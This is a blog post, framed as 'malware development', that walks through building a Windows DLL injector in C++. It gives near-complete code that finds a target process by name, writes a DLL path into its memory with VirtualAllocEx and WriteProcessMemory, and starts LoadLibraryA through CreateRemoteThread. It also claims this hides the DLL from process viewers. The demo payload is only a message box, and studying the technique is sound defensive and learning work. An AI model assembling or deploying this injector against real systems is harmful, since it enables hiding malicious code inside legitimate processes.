Malware Development - DLL Injection
Recently I deeply research about malware evasion techniques, like DLL injection and process hollowing, and I decided to develop malware features and sharpen my skills. This adventure starts with DLL Injection, you can check my articles “What is DLL Injection?” and “Why Attackers Particularly Use DLLs?” before read this one.
In this blog post, I will attempt to recreate the DLL Injection feature of any malware, and try to resimulate the process.
Concept
The concept of DLL injection is hiding the actual malicious activity under a running legitimate process with injecting DLL.
We assume that we have a directory including a DLL file named “Mal.dll” and an executable file named “inject.exe”.
DLL files are not executable and can not execute on their own. Usually they export their functions so other executables can use them. However, DLL files have a main function.
According to MSDN: An optional entry point into a dynamic-link library (DLL). When the system starts or terminates a process or thread, it calls the entry-point function for each loaded DLL using the first thread of theprocess. The system also calls the entry-point function for a DLL when it is loaded or unloaded using the LoadLibrary and FreeLibrary functions.
However, DLL main is also called when a process/thread calls LoadLibrary, we will use this.
These are what we gonna do:
- We gonna prepare a DLL file with a malicious entry-point function.
- We need the address of LoadLibrary from Kernel32.dll to load our DLL.
- We need to push our DLL’s string name into the process using VirtualAlloc and WriteProcessMemory.
- We need to create a new thread of that process with the entry-point of LoadLibrary and the command line argument of the string name of the malicious DLL using CreatRemoteThread.
When this thread executes, the entry point will cause the thread to call LoadLibrary with the parameter of the malicious DLL file, and the malicious DLL main function will be executed.
This injection will completely hide the DLL functionality from “Task Manager” or “Process Explorer” because it will be ran as the parent process that we created.
Prepare a bad bad bad bad DLL file
(Sorry for the title, while I was writing this part, the chorus part of this song was playing. Bad bad bad bad boy DLL 😄)
- Visual Studio 2022 -> Create a new project -> Dynamic-Link Library (DLL)
Our malicious DLL will show a message box and this message box will be the proof of we succesfully injected DLL.
DLL Injection Code
For this part, we need two information:
- Process id which we want to inject our DLL
- Our DLL name
Visual Studio 2022 -> Create a new project -> C++ Console App
#include "windows.h"
#include "iostream"
#include <string>
#include "tlhelp32.h"
#include "atlconv.h"
#include <tchar.h>
using namespace std;
void dllInjection(const char* processName, const char* dllFileName);
void printError(const char* error);
int main(int argc, char* argv[]) {
string fileName;
string processName;
printf("Enter DLL file name to inject: ");
getline(cin, fileName);
printf("Enter process name to inject: ");
getline(cin, processName);
dllInjection(processName.c_str(), fileName.c_str());
}
void dllInjection(const char* processName, const char* dllFileName) {
// Our functions will be written here
}
void printError(const char* error) {
printf("%s is failing. Error code: 0x%x\n\n", error, GetLastError());
}
Find target process ID
We need to find the target process id with process name. When we search for this, we see that CreateToolhelp32Snapshot named function can help.
This function takes a snapshot of all of the currently running processes and we can use Process32First and Process32Next to iterate through this process list from the snapshot and check if any of the process has the same name as our target process name.
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printError("CreateToolhelp32Snapshot");
return;
}
LPPROCESSENTRY32 processEntry = (LPPROCESSENTRY32)(&PROCESSENTRY32());
processEntry->dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, processEntry) == 0) {
printError("Process32First");
CloseHandle(hSnapshot);
return;
}
DWORD dwProcessID = 0;
while (Process32Next(hSnapshot, processEntry) != 0) {
wstring temp(processEntry->szExeFile);
string name(temp.begin(), temp.end());
if (!strcmp(name.c_str(), processName)) { // if process name matches, save process ID
dwProcessID = processEntry->th32ProcessID;
printf("FIND process ID of 0x%x for %s!!\nStarting injection\n", dwProcessID, name.c_str());
break;
}
}
Open process and write memory
We found our target process, now we need to get a handle of the process using OpenProcess.
From this, we can allocate space in our target process’s virtual memory space and write the DLL name there.
Because the process has its own virtual memory, and the only way to use our malicious DLL is by writing the malicious DLL name into its own memory.
We can accomplish this using VirtualAlloc and WriteProcessMemory
HANDLE hVictimProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
if (hVictimProcess == INVALID_HANDLE_VALUE) {
printError("OpenProcess");
CloseHandle(hSnapshot);
return;
}
// Write dll name into virtual memory of the process
LPVOID nameBuffer = VirtualAllocEx(hVictimProcess, NULL, strlen(dllFileName), MEM_COMMIT, PAGE_READWRITE);
if (!nameBuffer) {
printError("VirtualAllocEx");
CloseHandle(hVictimProcess);
CloseHandle(hSnapshot);
return;
}
if (!WriteProcessMemory(hVictimProcess, nameBuffer, dllFileName, strlen(dllFileName), NULL)) {
printError("WriteProcessMemory");
CloseHandle(hVictimProcess);
CloseHandle(hSnapshot);
return;
}
LoadLibraryA
We need to set the entry point of our to-be-created thread to LoadLibraryA so the first thing it executes is this function.
To do this, we need to get a handle to Kernel32.dll through GetModuleHandle.
Then, using this handle, we can retrieve the address of LoadLibraryA through GetProcAddress.
HMODULE hKernel32 = GetModuleHandle(L"Kernel32.dll");
if (!hKernel32) {
printError("GetModuleHandle");
CloseHandle(hVictimProcess);
CloseHandle(hSnapshot);
return;
}
FARPROC fpLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");
DWORD dwInjectedProcessID = 0;
if (!fpLoadLibrary) {
printError("GetProcAddress");
CloseHandle(hVictimProcess);
CloseHandle(hSnapshot);
return;
}
Action!
The only thing left to do is calling CreateRemoteThread.
HANDLE hInjectedThread = CreateRemoteThread(hVictimProcess, NULL, 0, (LPTHREAD_START_ROUTINE)fpLoadLibrary, nameBuffer, 0, &dwInjectedProcessID);
if (!hInjectedThread) {
printError("CreateRemoteThread");
CloseHandle(hVictimProcess);
CloseHandle(hSnapshot);
return;
}
That is all, for demonstration I’m creating a “python3.10.exe” process running an infinite loop, and I will attempt to inject our malicious DLL into this process. Voila!
You can check out my Github repo for this project, also to be familiar with the concept you can read my two articles: “What is DLL Injection?” and “Why Attackers Particularly Use DLLs?”
Sources: